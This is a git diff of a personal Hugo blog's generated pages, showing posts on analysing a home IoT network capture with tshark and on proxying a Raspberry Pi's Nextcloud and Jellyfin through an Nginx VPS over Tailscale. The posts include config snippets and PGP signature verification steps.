    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/networking/page/1/index.html b/public-onion/tags/networking/page/1/index.html new file mode 100644 index 0000000..b109836 --- /dev/null +++ b/public-onion/tags/networking/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/networking/ + + + + + + diff --git a/public-onion/tags/nextcloud/index.html b/public-onion/tags/nextcloud/index.html new file mode 100644 index 0000000..71db788 --- /dev/null +++ b/public-onion/tags/nextcloud/index.html @@ -0,0 +1,357 @@ + + + + + + + +Nextcloud | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/nextcloud/index.xml b/public-onion/tags/nextcloud/index.xml new file mode 100644 index 0000000..d0185b8 --- /dev/null +++ b/public-onion/tags/nextcloud/index.xml @@ -0,0 +1,357 @@ + + + + Nextcloud on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nextcloud/ + Recent content in Nextcloud on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    +
    +
    +
